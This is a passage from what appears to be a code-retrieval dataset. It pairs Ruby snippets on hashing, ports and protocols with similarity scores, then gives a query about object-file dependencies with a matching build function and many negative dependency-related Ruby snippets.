"def properties_uid\n \"portstart-#{port_start}_portend-#{port_end}_proto-#{protocol}\"\n end",
"def protocol\n response = get(:protocol)\n version = response.body\n version.to_i rescue 0\n end",
"def connected_ports; end",
"def hash\n self[:pc].hash\n end",
"def decrypt_server_port(serverport)\n portkey = 0x3630\n decodedport = serverport ^ portkey\nend",
"def hash\n [day, from, to].hash\n end",
"def tem_ports\n @proxy_ports.values.sort\n end",
"def hash\n [name, url].hash\n end",
"def map_protocol_value(protocol)\n protocol = protocol.downcase\n case protocol\n when \"other\"\n return \"\"\n when \"other-tls\"\n return \"\"\n end\n return protocol\n end",
"def to_hash() end",
"def getHostid\n hex = IP.ToHex(@hostaddress)\n hex\n end",
"def ssh_port(expected)\n expected\n end",
"def hash\n {\n \"security-groups\" => @security_groups,\n \"protocol\" => @protocol,\n \"ports\" => @ports,\n \"icmp-type\" => @icmp_type,\n \"icmp-code\" => @icmp_code,\n \"subnets\" => @subnets,\n }.reject { |k, v| v.nil? }\n end",
"def remote_port_and_host\n [forwarding[2], forwarding[3] || \"127.0.0.1\"]\n end",
"def parse_hash_packet(data)\n hashes = []\n\n algo = data.read_string\n size = case algo\n when \"md5\" then 128\n when \"sha256\" then 256\n when \"sha384\" then 284\n when \"sha512\" then 512\n else raise NotImplementedError, \"unsupported algorithm: #{algo}\"\n end\n\n while !data.eof? do\n hashes << data.read(size)\n end\n\n { :algo => algo, :hashes => hashes }\n end",
"def hash_code; end",
"def port\n return @port.to_i\n end",
"def hexhash\n hash.to_s(16)\n end",
"def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def extract_protocol(input)\n matches = input.to_s.match(/^(\\w+):/)\n matches ? matches[1] : \"\"\n end",
"def port_for mod\n raise TypeError unless mod.is_a? Symbol\n raise ConfigurationError unless @modules.has_key? mod\n map_port_for(mod) unless @port_map.has_key? mod\n @port_map[mod]\n end",
"def gnu_hash(s)\n s.bytes.reduce(5381) { |acc, elem| (acc * 33 + elem) & 0xffffffff }\n end",
"def socket_port(uri)\n secure_uri?(uri) ? 443 : 80\n end",
"def make_protocol_io_hash(protocols, caps, io)\n # sub protocol offset\n offset = RLPX::BASE_PROTOCOL_LENGTH\n result = {}\n # [name, version] as key\n protocols_hash = protocols.map {|protocol| [[protocol.name, protocol.version], protocol]}.to_h\n sorted_caps = caps.sort_by {|c| [c.name, c.version]}\n\n sorted_caps.each do |cap|\n protocol = protocols_hash[[cap.name, cap.version]]\n next unless protocol\n # ignore same name old protocols\n if (old = result[cap.name])\n result.delete(cap.name)\n offset -= old.protocol.length\n end\n result[cap.name] = ProtocolIO.new(protocol, offset, io)\n # move offset, to support next protocol\n offset += protocol.length\n end\n result\n end",
"def registry_interface_hash\n hash = calculate_interface_hash(\n [\n {\n name: 'bind',\n descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',\n exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']\n },\n {\n name: 'list',\n descriptor: '()[Ljava/lang/String;',\n exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']\n },\n {\n name: 'lookup',\n descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',\n exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']\n },\n {\n name: 'rebind',\n descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',\n exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']\n },\n {\n name: 'unbind',\n descriptor: '(Ljava/lang/String;)V',\n exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']\n }\n ]\n )\n\n hash\n end",
"def host_id\n\t\t\t\"#{host}:#{port}\"\n\t\tend",
"def host_with_port\n uhost, uport = self.host, self.port\n if port != protocol.default_port\n \"#{uhost}:#{uport}\"\n else\n uhost\n end\n end",
"def ports\n enum_for(:each_port).to_a\n end",
"def hash\n [class_id, object_type, api_version, app_partition_number, connection_id, connection_reason, connection_status, connection_status_last_change_time, connector_version, device_external_ip_address, proxy_app].hash\n end",
"def getpeerinfo\n node.pool.peers.map do |peer|\n local_addr = \"#{peer.remote_version.remote_addr.addr_string}:18333\"\n {\n id: peer.id,\n addr: \"#{peer.host}:#{peer.port}\",\n addrlocal: local_addr,\n services: peer.remote_version.services.to_even_length_hex.rjust(16, '0'),\n relaytxes: peer.remote_version.relay,\n lastsend: peer.last_send,\n lastrecv: peer.last_recv,\n bytessent: peer.bytes_sent,\n bytesrecv: peer.bytes_recv,\n conntime: peer.conn_time,\n pingtime: peer.ping_time,\n minping: peer.min_ping,\n version: peer.remote_version.version,\n subver: peer.remote_version.user_agent,\n inbound: !peer.outbound?,\n startingheight: peer.remote_version.start_height,\n best_hash: peer.best_hash,\n best_height: peer.best_height\n }\n end\n end",
"def get_hash(s)\r\n\t\tvals = s.unpack('U*').map {|x| ((x ** 2000) * ((x + 2) ** 21) - ((x + 5) ** 3))}\r\n\t\tvals = vals.inject(0, :+) % 65536\r\n\t\treturn vals.to_s(16)\r\n\tend",
"def hash(*) end",
"def get_crypto_stats(port)\r\n r = 0 # Received\r\n g = 0 # Generated\r\n m = 0 # Mined\r\n $blockchain.length.times do |i|\r\n block = $blockchain[i]\r\n r +=1 if (block.payee == port)\r\n g +=1 if (block.payer == port)\r\n m +=1 if (block.miner == port)\r\n end\r\n return [r, g, m]\r\nend",
"def hash\n [hint,name,ordinal,module_name].hash\n end",
"def port_names\n (1..port_count).map {|i| \"Te 0/%s\" % i}\n end",
"def raw_host_with_port; end",
"def hash\n bytes.hash\n end",
"def normalized_port\n if port\n np = port.to_i\n PORT_MAPPING[normalized_scheme] != np ? np : nil\n end\n end",
"def to_hash\n { :host => host,\n :path => path,\n :protocol => protocol,\n :port => port,\n :account_id => account_id,\n :api_id => api_id,\n :secret_phrase => secret_phrase,\n :voice => voice,\n :ext => ext }\n end",
"def hash\n [domain, message, stack, type].hash\n end",
"def port\n ssl ? 443 : 80\n end",
"def peer_list\n ip_list = []\n raw_peers.each_slice(6) { |e| ip_list << e if e.length == 6 }\n\n ip_list.map! { |e| { :ip => e[0..3].join('.'), :port => (e[4] * 256) + e[5] } }\n end",
"def to_hash\n hsh = {\n id: id,\n status: status.to_sym,\n connect: running? ? connect.to_h : nil,\n time: info.wallclock_time.to_i / 60 # only update every minute\n }\n Digest::SHA1.hexdigest(hsh.to_json)\n end",
"def hash\n [org_apache_felix_http_host, org_apache_felix_http_enable, org_osgi_service_http_port, org_apache_felix_http_timeout, org_apache_felix_https_enable, org_osgi_service_http_port_secure, org_apache_felix_https_keystore, org_apache_felix_https_keystore_password, org_apache_felix_https_keystore_key_password, org_apache_felix_https_truststore, org_apache_felix_https_truststore_password, org_apache_felix_https_clientcertificate, org_apache_felix_http_context_path, org_apache_felix_http_mbeans, org_apache_felix_http_session_timeout, org_apache_felix_http_jetty_threadpool_max, org_apache_felix_http_jetty_acceptors, org_apache_felix_http_jetty_selectors, org_apache_felix_http_jetty_header_buffer_size, org_apache_felix_http_jetty_request_buffer_size, org_apache_felix_http_jetty_response_buffer_size, org_apache_felix_http_jetty_max_form_size, org_apache_felix_http_path_exclusions, org_apache_felix_https_jetty_ciphersuites_excluded, org_apache_felix_https_jetty_ciphersuites_included, org_apache_felix_http_jetty_send_server_header, org_apache_felix_https_jetty_protocols_included, org_apache_felix_https_jetty_protocols_excluded, org_apache_felix_proxy_load_balancer_connection_enable, org_apache_felix_https_jetty_renegotiate_allowed, org_apache_felix_https_jetty_session_cookie_http_only, org_apache_felix_https_jetty_session_cookie_secure, org_eclipse_jetty_servlet_session_id_path_parameter_name, org_eclipse_jetty_servlet_checking_remote_session_id_encoding, org_eclipse_jetty_servlet_session_cookie, org_eclipse_jetty_servlet_session_domain, org_eclipse_jetty_servlet_session_path, org_eclipse_jetty_servlet_max_age, org_apache_felix_http_name, org_apache_felix_jetty_gziphandler_enable, org_apache_felix_jetty_gzip_min_gzip_size, org_apache_felix_jetty_gzip_compression_level, org_apache_felix_jetty_gzip_inflate_buffer_size, org_apache_felix_jetty_gzip_sync_flush, org_apache_felix_jetty_gzip_excluded_user_agents, org_apache_felix_jetty_gzip_included_methods, org_apache_felix_jetty_gzip_excluded_methods, org_apache_felix_jetty_gzip_included_paths, org_apache_felix_jetty_gzip_excluded_paths, org_apache_felix_jetty_gzip_included_mime_types, org_apache_felix_jetty_gzip_excluded_mime_types, org_apache_felix_http_session_invalidate, org_apache_felix_http_session_uniqueid].hash\n end",
"def to_hash\n {\n :identifier => @identifier,\n :scheme => @scheme\n }\n end",
"def to_port\n port = @uri.port\n\n # @uri.port defaults port to 80/443 if missing, so we check for :#{port}.\n return nil unless port\n return nil unless include?(\":#{port}\")\n\n Wgit::Url.new(port.to_s)\n end"
] |
[
"0.8080794",
"0.6304852",
"0.6073284",
"0.6059332",
"0.5995155",
"0.596545",
"0.5949295",
"0.5817943",
"0.5794598",
"0.5765751",
"0.57593197",
"0.5732313",
"0.57077813",
"0.5678648",
"0.5676193",
"0.5670764",
"0.5653143",
"0.56393075",
"0.55943185",
"0.5576942",
"0.5552088",
"0.5548328",
"0.5522979",
"0.5516088",
"0.5514743",
"0.54898405",
"0.548349",
"0.54524565",
"0.54503036",
"0.54498005",
"0.54498005",
"0.544864",
"0.542493",
"0.5418819",
"0.5411257",
"0.5410528",
"0.5393651",
"0.5392741",
"0.5389381",
"0.537716",
"0.537468",
"0.53343374",
"0.5332162",
"0.5332162",
"0.53245926",
"0.53159183",
"0.53145",
"0.5311202",
"0.5302054",
"0.52977145",
"0.52968645",
"0.52937704",
"0.5292059",
"0.52889884",
"0.5288522",
"0.52824885",
"0.52794844",
"0.52681386",
"0.5265972",
"0.5264221",
"0.5248236",
"0.5243405",
"0.5223371",
"0.5209523",
"0.519466",
"0.51905066",
"0.518882",
"0.518882",
"0.518882",
"0.518882",
"0.518882",
"0.518882",
"0.518882",
"0.51822245",
"0.5174866",
"0.5174612",
"0.517312",
"0.5171642",
"0.51655126",
"0.5162213",
"0.5157313",
"0.515269",
"0.5150211",
"0.51352423",
"0.5127845",
"0.51257867",
"0.51251644",
"0.51196164",
"0.51176673",
"0.51141685",
"0.5113552",
"0.5113371",
"0.51114225",
"0.5110465",
"0.5109039",
"0.5100118",
"0.5097679",
"0.5096982",
"0.50968623",
"0.50938"
] |
0.66337043
|
1
|
Return dependencies for an object file.
|
def obj_dep( o )
deps = []
inc_dirs = [ SRC_DIR, TEST_DIR ]
cpp = o.sub(/\.o$/,'.cpp') \
.sub(/^obj\/src\//, 'src/') \
.sub(/^obj\/test\//, 'test/')
# print cpp, "\n"
headers = cpp_headers( cpp, inc_dirs )
# print headers.join(" "), "\n"
deps << cpp
deps << headers
# deps << cpp.sub( /\.cpp$/, '.h' )
return deps
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def call(filename = \"dependencies.yml\")\n dependencies = Set.new\n $/=\"\\n\\n\"\n File.open(filename, \"r\").each do |object|\n begin\n dependencies << Dependency.deserialize(object)\n rescue\n raise $!, \"Could not load object from #{filename}\", $!.backtrace\n end\n end\n dependencies\n end",
"def dependencies\n return @dependencies unless @dependencies.nil?\n @dependencies = [ ]\n lockfile.each_line do |line|\n if line =~ /^\\s{4}([-\\w_.0-9]+)\\s*\\((.*)\\)/\n @dependencies << [$1, $2]\n end\n end\n @dependencies\n end",
"def dependencies\n members.each_with_object([]) do |attr_name, depends|\n value = send(attr_name)\n value = pipeline.objects.fetch(value) if value.is_a?(Symbol)\n depends << value.dependencies << value if value.is_a?(PipelineObject)\n end.flatten\n end",
"def dependencies(source, done=[])\n d_path = source.ext(\"d\") # get the dependency file\n Rake::Task[d_path].invoke # ensure the dependency file exists\n d_file = IO.read(d_path) # read the dependencies from dependency file\n d_file = d_file.split(': ')[1].gsub(\"\\n\",'').gsub('\\\\ ','').gsub(/\\s+/,' ').split(' ') # get a list of dependencies\n d_list = [] # list of dependencies\n # only save dependencies which are in our source directories\n d_file.each do |d|\n SRC_DIRS.each do |dir|\n if File.dirname(d)==dir then\n d_list << d\n end\n end\n end\n # get the dependencies of these dependencies, if we don't know them already\n done << source.ext(\"o\")\n done.uniq!\n d_list.each do |d|\n d = d.ext(\"o\")\n next if done.include? d\n done += dependencies(d, done)\n end\n done.uniq!\n return done\nend",
"def dependencies\n to_a.reject { |a| a.filename.eql?(self.filename) }\n end",
"def inter_file_dependencies\n attributes.fetch(:interFileDependencies)\n end",
"def dependencies\n @dependencies ||= []\n end",
"def dependencies\n @dependencies ||= []\n end",
"def dependencies\n @dependencies ||= []\n end",
"def dependencies\n @dependencies ||= []\n end",
"def dependencies\n @dependencies ||= {}\n end",
"def dependencies\n @dependencies ||= []\n end",
"def generate_dependencies_data(podfile)\n podfile.dependencies.map(&:to_s).sort\n end",
"def get_deps(texfile, deps = Set.new(texfile))\n basenames = File.open(texfile).grep(/\\\\(include|input)\\{([^}]+)\\}/) { |x| $2 }\n depfiles = basenames.map do |name|\n if name =~ /\\.tex$/ then name else name + \".tex\" end\n end\n\n depfiles.each do |file|\n if not deps.member?(file)\n deps.add(file)\n get_deps(file, deps)\n end\n end\n\n return deps\nend",
"def get_deps(texfile, deps = Set.new([texfile]))\n basenames = File.open(texfile).grep(/\\\\(include|input)\\{([^}]+)\\}/) { |x| $2 }\n depfiles = basenames.map do |name|\n if name =~ /\\.tex$/ then name else name + \".tex\" end\n end\n\n depfiles.each do |file|\n if not deps.member?(file)\n deps.add(file)\n get_deps(file, deps)\n end\n end\n\n return deps\nend",
"def dependencies\n @dependencies.collect { |name, dependency| dependency }\n end",
"def dependencies\n @dependencies.values\n end",
"def dependencies\n []\n end",
"def dependencies\n []\n end",
"def dependencies\n []\n end",
"def load_dependencies( file_list, force_require=true )\r\n loader = DependencyLoader.new( file_list, force_require )\r\n loader.load_dependencies\r\nend",
"def dependencies\n version_req = if options[:version]\n ::Gem::Requirement.create(options[:version])\n else\n ::Gem::Requirement.default\n end\n if gem_dir\n ::Gem.clear_paths; ::Gem.path.unshift(gem_dir)\n ::Gem.source_index.refresh!\n end\n deps = []\n ::Gem.source_index.each do |fullname, gemspec| \n if version_req.satisfied_by?(gemspec.version)\n deps << ::Gem::Dependency.new(gemspec.name, \"= #{gemspec.version}\")\n end\n end\n ::Gem.clear_paths if gem_dir\n deps.sort\n end",
"def dependencies(gemfile)\n dependencies = { }\n\n File.open(gemfile) do |f|\n f.each do |line|\n if (line.match(/\\Agem\\s+['\"]bundler['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/))\n dependencies[:bundler] = $1\n elsif (line.match(/\\A\\#\\s*rubygems\\s+(\\S+)/))\n dependencies[:rubygems] = $1\n end\n end\n end\n\n dependencies\nend",
"def dependency_list\n @target.dependencies.map(&:display_name)\n end",
"def object_files\n source_files.map { |file| object_path( file ) }\n end",
"def get_dependencies\n @dependencies\n end",
"def get_dependencies_from_path(metadata_path)\n metadata = JSON.parse(File.read(metadata_path), symbolize_names: true)\n get_dependencies_from_metadata(metadata)\n end",
"def dependencies(path)\r\n deps = []\r\n open(path) do |file|\r\n deps = file.read.scan(/ [^\\s|\\\\]+/).collect { |s| s.strip }\r\n end\r\n deps.reject!{|s| s.include?(\"/opt\") || s.include?(\"/usr\") || s.include?(\"include/boost\")}\r\n deps\r\nend",
"def calcImmediateDependencies(target_file)\n\t\tsrc_file = targetToSource(target_file)\n\t\tdepstr = case @compiler\n\t\t\twhen @@byteCodeCompiler \n\t\t\t\t`ocamldep #{@includesString} #{src_file}` \n\t\t\twhen @@machineCodeCompiler\n\t\t\t\t`ocamldep -native #{@includesString} #{src_file}` \n\t\t\telse \n\t\t\t\tputs \"ERROR couldn't compile to file: \" + target\n\t\tend\n\t\t#debug \"\\n*\\n*\\n\" + depstr\n\n\t\t#make an array of lines, where each line is a complete \n\t\t#\"<target>: <dep1> <dep2>\" sequence\n\t\tdeplines = depstr.gsub(\"\\\\\\n\", \" \").split(\"\\n\")\n\n\t\t#split each of these lines into an array of tokens, \n\t\t#yielding a 2-d token array\n\t\ttokens = deplines.map {|dl| dl.split(\" \")}\n\n\t\t#drop the colon on the first element of each token line, \n\t\t#it is <targetfile>:\n\t\ttokens.each {|ts| ts[0] = ts[0].chop()} \n\n\t\t#find the token line that starts with the target file we want\n\t\tdepfiles = Set.new() \n\t\ttokens.each do |tokenline|\n\t\t\tcand_target = tokenline.shift()\n\t\t\t#debug \"cand: #{cand_target}\"\n\t\t\t#debug \"target: #{target_file}\"\n\t\t\tif(target_file == cand_target)\n\t\t\t\tif(@useByteImpls && (target_file[-3,3] == 'cmo'))\n\t\t\t\t\timplsline = tokenline.map {|cmifn| changeExt(cmifn, 'cmo')}\n\t\t\t\t\timplsline.delete_if {|cmofn| cmofn == target_file}\n\t\t\t\t\tdepfiles.merge implsline\n\t\t\t\tend\n\t\t\t\tdepfiles.merge(tokenline)\n\t\t\tend\n\t\tend\n\t\texpandedSet = depfiles.map {|fn| File.expand_path(fn)}\n\t\t#debug \"ImmediateDeps:\"\n\t\t#debug setString(expandedSet)\n\t\treturn expandedSet\n\tend",
"def dependencies(recurse: true)\n return @dependencies if @dependencies\n if depends.nil? || depends.empty?\n @dependencies = nil\n else\n @dependencies = depends.map do |name, dependency|\n loader = StackFileLoader.for(dependency['stack'], self)\n deps = { 'name' => name, 'stack' => loader.source, 'variables' => dependency.fetch('variables', Hash.new) }\n if recurse\n child_deps = loader.dependencies\n deps['depends'] = child_deps unless child_deps.nil?\n end\n deps\n end\n end\n end",
"def get_dependencies_from_metadata(metadata_path)\n metadata = JSON.parse(File.read(metadata_path), symbolize_names: true)\n checker = DependencyChecker::MetadataChecker.new(metadata, @forge, @updated_module, @updated_module_version)\n checker.check_dependencies\n end",
"def get_dependencies( path, maxdepth = 3, depth = 0 )\n\n deps = []\n\n return deps if depth == maxdepth\n\n File.open( path ) do |file|\n get_partials_from_file( file ) do |partial|\n deps << ( '-' * depth << partial )\n deps |= get_dependencies( partial, maxdepth, depth + 1 )\n end\n end\n\n return deps\nend",
"def dependencies(name)\n dependencies = []\n submodule = submodule(name)\n if submodule.has_key?(:dependencies)\n submodule[:dependencies].each do |dependency|\n dependencies << dependency\n dependencies << dependencies(dependency)\n end\n end\n\n dependencies.flatten.uniq.sort\n end",
"def dependencies\n @dependencies\n end",
"def cached_dependencies\n @dependencies ||= enumerate_dependencies.compact\n end",
"def makedepends(source_file)\n res = []\n\n if @vendor == 'GNU'\n flags = @flags.join ' '\n cmd = \"#{@path} -I. #{includedirs()} #{flags} -MM #{source_file}\"\n #warn \"Generating dependencies for #{source_file}..\\n + #{cmd}\" \n tmp = `#{cmd}`\n return [] if tmp.nil?\n tmp.sub!(/^.*\\.o: /, '')\n return [] if tmp.nil?\n tmp.gsub!(/\\\\\\n/, ' ')\n res = tmp.split(/\\s+/)\n else\n throw 'Not supported -- need to use a fallback method'\n end\n\n res.push 'Makefile'\n res\n end",
"def enumerate_dependencies\n json = JSON.parse(project_assets_file)\n nuget_packages_dir = json[\"project\"][\"restore\"][\"packagesPath\"]\n json[\"targets\"].each_with_object({}) do |(_, target), dependencies|\n target.each do |reference_key, reference|\n # Ignore project references\n next unless reference[\"type\"] == \"package\"\n package_id_parts = reference_key.partition(\"/\")\n name = package_id_parts[0]\n version = package_id_parts[-1]\n id = \"#{name}-#{version}\"\n\n # Already know this package from another target\n next if dependencies.key?(id)\n\n path = File.join(nuget_packages_dir, json[\"libraries\"][reference_key][\"path\"])\n dependencies[id] = NuGetDependency.new(\n name: id,\n version: version,\n path: path,\n metadata: {\n \"type\" => NuGet.type,\n \"name\" => name\n }\n )\n end\n end.values\n end",
"def dependencies(options = {})\n # backward compatibility\n options = { :scopes => options } if Array === options\n\n # support symbols, but don't fidget with nil\n options[:scopes] = (options[:scopes] || SCOPES_WE_USE).map { |s| s.to_s if s }\n\n # try to cache dependencies also\n @depends_for_scopes ||= {}\n unless depends = @depends_for_scopes[options]\n declared = project['dependencies'].first['dependency'] rescue nil\n depends = (declared || [])\n depends = depends.reject { |dep| value_of(dep['optional']) =~ /true/ } unless options[:optional]\n depends = depends.map { |dep|\n spec = pom_to_hash(dep, properties)\n apply = managed(spec)\n spec = apply.merge(spec) if apply\n\n next if options[:exclusions] && options[:exclusions].any? { |ex| dep['groupId'] == ex['groupId'] && dep['artifactId'] == ex['artifactId'] }\n\n # calculate transitive dependencies\n if options[:scopes].include?(spec[:scope])\n spec.delete(:scope)\n\n exclusions = dep['exclusions'].first['exclusion'] rescue nil\n transitive_deps = POM.load(spec).dependencies(:exclusions => exclusions, :scopes => (options[:scopes_transitive] || SCOPES_TRANSITIVE) ) rescue []\n\n [Artifact.to_spec(spec)] + transitive_deps\n end\n }.flatten.compact #.uniq_by{|spec| art = spec.split(':'); \"#{art[0]}:#{art[1]}\"}\n @depends_for_scopes[options] = depends\n end\n depends\n end",
"def dependencies(recurse: true)\n return @dependencies if @dependencies\n depends = yaml['depends']\n if depends.nil? || depends.empty?\n @dependencies = nil\n else\n @dependencies = depends.map do |name, dependency|\n reader = StackFileLoader.for(dependency['stack'], self)\n deps = { 'name' => name, 'stack' => reader.source, 'variables' => dependency.fetch('variables', Hash.new) }\n if recurse\n child_deps = reader.dependencies\n deps['depends'] = child_deps unless child_deps.nil?\n end\n deps\n end\n end\n end",
"def dependencies(&block)\n deps = ::OSGi::Dependencies.new(project)\n deps.read\n deps.dependencies + deps.projects\n end",
"def [] file\r\n depends = @flat_depends[file]\r\n if depends == nil\r\n [file]\r\n else\r\n depends\r\n end\r\n end",
"def load_dependencies\n dependencies.each { |dependency| dependency }\n end",
"def dependencies\n if @options[:dependencies]\n deps = [] << @options[:dependencies]\n deps.flatten.collect { |item|\n item = File.join(item,'**/*') if File.directory?(item)\n Dir.glob item\n }.flatten.uniq.collect { |item|\n File.directory?(item) ? nil : item\n }.compact\n else\n false\n end\n end",
"def find_dependencies\n\t\tunless GEMDEPS_FILE.readable?\n\t\t\tself.prompt.warn \"Deps file (%s) is missing or unreadable, assuming no dependencies.\" %\n\t\t\t\t[ GEMDEPS_FILE ]\n\t\t\treturn []\n\t\tend\n\n\t\tfinder = Rake::DevEiate::GemDepFinder.new( GEMDEPS_FILE )\n\t\tfinder.load\n\t\treturn finder.dependencies\n\tend",
"def dependencies\n EMPTY_SET\n end",
"def dependencies_for(specification)\n []\n end",
"def dependencies( *args )\n names = args # note: for now assume all args are just names\n # e.g. 'pluto-models', 'pluto-update', etc.\n deps = @versions.select do |rec| names.include?( rec[0] ) end\n .map do |rec| [rec[0], rec[1]] end\n\n ## todo/fix: throw exception if dependency is missing!\n ## names.size == deps.size\n puts \"names.size == deps.size #{names.size} == #{deps.size}\"\n deps\n end",
"def dependency_paths\n @dependency_paths ||= []\n end",
"def dependencies\n @dependencies ||= Set.new\n end",
"def map_dependencies\n dependencies = {}\n Dir.glob(\"jquery-ui/ui/**/*.js\").each do |path|\n basename = File.basename path\n file = File.read path\n\n matchdata = file.match(/define\\(\\s*\\[\\s*([\\\"\\.\\/\\,\\w\\s\\-\\:]+)\\]/m)\n\n next if matchdata.nil?\n\n deps = matchdata[1]\n\n # remove lines with comments\n deps = deps.gsub(/\\/\\/.+\\s/, \"\")\n\n # remove all non-path symbols\n deps = deps.gsub(/[\\r\\n\\t\\\"\\[\\]\\s]/, \"\")\n\n deps_paths = deps.split(',')\n\n deps_paths.map!(&method(:remove_js_extension))\n\n # None of jquery.ui files should depend on jquery.js,\n # so we remove 'jquery' from the list of dependencies for all files\n deps_paths.reject! {|d| d == \"jquery\" }\n\n deps_paths.map! {|d| source_file_for_dependency_entry path, d }\n\n dependencies[basename] = deps_paths\n end\n dependencies\nend",
"def dependencies\n @dependencies ||= begin\n YARD::Registry.all(:dependency)\n end\nend",
"def extract_dependencies\n FileUtils.cd(working_dir) do\n cmd = [\"require 'yaml';\"]\n cmd << \"dependencies = Merb::BootLoader::Dependencies.dependencies\"\n cmd << \"entries = dependencies.map { |d| d.to_s }\"\n cmd << \"puts YAML.dump(entries)\"\n output = `merb -r \"#{cmd.join(\"\\n\")}\"`\n if index = (lines = output.split(/\\n/)).index('--- ')\n yaml = lines.slice(index, lines.length - 1).join(\"\\n\")\n return parse_dependencies_yaml(yaml)\n end\n end\n return []\n end",
"def go_list_deps\n args = [\"-deps\"]\n args << \"-mod=vendor\" if config.dig(\"go\", \"mod\") == \"vendor\"\n\n # the CLI command returns packages in a pretty-printed JSON format but\n # not separated by commas. this gsub adds commas after all non-indented\n # \"}\" that close root level objects.\n # (?!\\z) uses negative lookahead to not match the final \"}\"\n deps = package_info_command(*args).gsub(/^}(?!\\z)$/m, \"},\")\n JSON.parse(\"[#{deps}]\")\n end",
"def dependencies\n node.output[carrier].keys\n end",
"def get_dep_names(data)\n return unless data.key?(\"dependencies\")\n\n data['dependencies'].each do |name, dep_info|\n @deps[name] = {}\n get_dep_names(dep_info) if dep_info['dependencies']\n end\n end",
"def dependencies_for(specification)\n specification.dependencies\n end",
"def get_dependencies(lib_path)\n\tdeps = []\n\tentry_name_regex = /(.*)\\(compatibility version.*\\)/\n\t`otool -L '#{lib_path}'`.strip.split(\"\\n\").each do |entry|\n\t\tmatch = entry_name_regex.match(entry)\n\t\tif (match)\n\t\t\tdep_path = match[1].strip\n\n\t\t\t# Note - otool lists dependencies separately for each architecture\n\t\t\t# in a universal binary - only return the unique paths\n\t\t\tdeps << dep_path if !deps.include?(dep_path)\n\t\tend\n\tend\n\treturn deps\nend",
"def get_dependencies(lib_path)\n\tdeps = []\n\tentry_name_regex = /(.*)\\(compatibility version.*\\)/\n\t`otool -L '#{lib_path}'`.strip.split(\"\\n\").each do |entry|\n\t\tmatch = entry_name_regex.match(entry)\n\t\tif (match)\n\t\t\tdep_path = match[1].strip\n\n\t\t\t# Note - otool lists dependencies separately for each architecture\n\t\t\t# in a universal binary - only return the unique paths\n\t\t\tdeps << dep_path if !deps.include?(dep_path)\n\t\tend\n\tend\n\treturn deps\nend",
"def dependent_specs\n runtime_dependencies.map {|dep| dep.to_specs }.flatten\n end",
"def dependencies(include_parent = false)\n []\n end",
"def dependencies(include_parent = false)\n []\n end",
"def dependencies(include_parent = false)\n []\n end",
"def arduino_library_dependencies\n return [] unless library_properties?\n return [] if library_properties.depends.nil?\n\n library_properties.depends\n end",
"def get_dependencies(_fidl, _interaction_types, _project_dependencies)\n # noop\n end",
"def load_dependencies\n result = zh_client.dependencies(repo_name)\n\n result[\"dependencies\"].each do |hash|\n blocking = add_or_find(hash[\"blocking\"])\n blocked = add_or_find(hash[\"blocked\"])\n\n add_edge(blocked, blocking)\n end\n end",
"def buildDependencies()\n clearDependencies()\n\n # first we add the constructed dependencies as we simply cleared *all* deps before\n addDependencyUnique(@compileFileDep) if not @fileIsGenerated\n addDependencyUnique(@compileTargetDep)\n addDependencyUnique(@configTaskDep)\n addDependencyUnique(@generatorTaskDep) if @fileIsGenerated\n\n return if not @dependencyLines # only go on if we have compiler generated deps\n\n dependencyFiles = Array.new\n @dependencyLines.each do |depLine|\n depLine.strip! # remove white space and newlines\n # remove backslash on each line, if present (GCC output is guaranteed to produce only a single backslash at line end)\n if depLine.include?('\\\\') then\n depLine.chop!\n end\n if depLine.include?(':') # the \"xyz.o\"-target specified by the compiler in the \"Makefile\"-rule needs to be skipped\n splitArr = depLine.split(\": \")\n dependencyFiles.concat(splitArr[1].split(\" \")) if splitArr[1]\n else\n dependencyFiles.concat(depLine.split(\" \"))\n end\n end\n dependencyFiles.each do |depFile|\n depFile.strip!\n next if depFile.empty?\n depFile = Makr.cleanPathName(depFile)\n next if (depFile == @fileName) # go on if dependency on source file encountered\n if @build.hasTask?(depFile) then\n task = @build.getTask(depFile)\n if not @dependencies.include?(task)\n addDependencyUnique(task)\n end\n elsif (task = @build.getTaskForTarget(depFile)) then\n if not @dependencies.include?(task)\n addDependencyUnique(task)\n end\n else\n task = FileTask.new(depFile)\n @build.addTask(depFile, task)\n addDependencyUnique(task)\n end\n task.update()\n end\n\n end",
"def depends_on()\n if @value.nil?\n return []\n end\n unless @depends_on\n @depends_on = @value.variables.collect do |var|\n\ttmp = @parent.variable_by_name(var)\n\ttmp or raise \"Can't locate variable dependency '#{var}'!\"\n end\n end\n @depends_on\n end",
"def find_dependencies(source, graph, reverse)\n if reverse\n UI.puts \"What depends on #{source}?\"\n graph = graph.reverse\n else\n UI.puts \"What does #{source} depend on?\"\n end\n\n tree = graph.bfs_search_tree_from(source)\n graph = graph.vertices_filtered_by { |v| tree.has_vertex? v }\n sorted_dependencies = graph.vertices.sort\n sorted_dependencies.delete(source)\n\n if sorted_dependencies.empty?\n UI.puts 'Nothing'\n else\n sorted_dependencies.each { |dependency| UI.puts dependency }\n end\n\n File.open(@to_yaml, 'w') { |file| file.write(sorted_dependencies.to_s) } if @to_yaml\n File.open(@to_dot, 'w') { |file| file.write(graph.to_dot_graph.to_s) } if @to_dot\n end",
"def dependencies\n self.config.depends || []\n end",
"def getDeps csproj\r\n deps = []\r\n csproj.search(\"reference\") do |ref|\r\n deps << ref.get_attribute(\"include\").match(/^([^,]+),*/)[1]\r\n end\r\n return deps\r\nend",
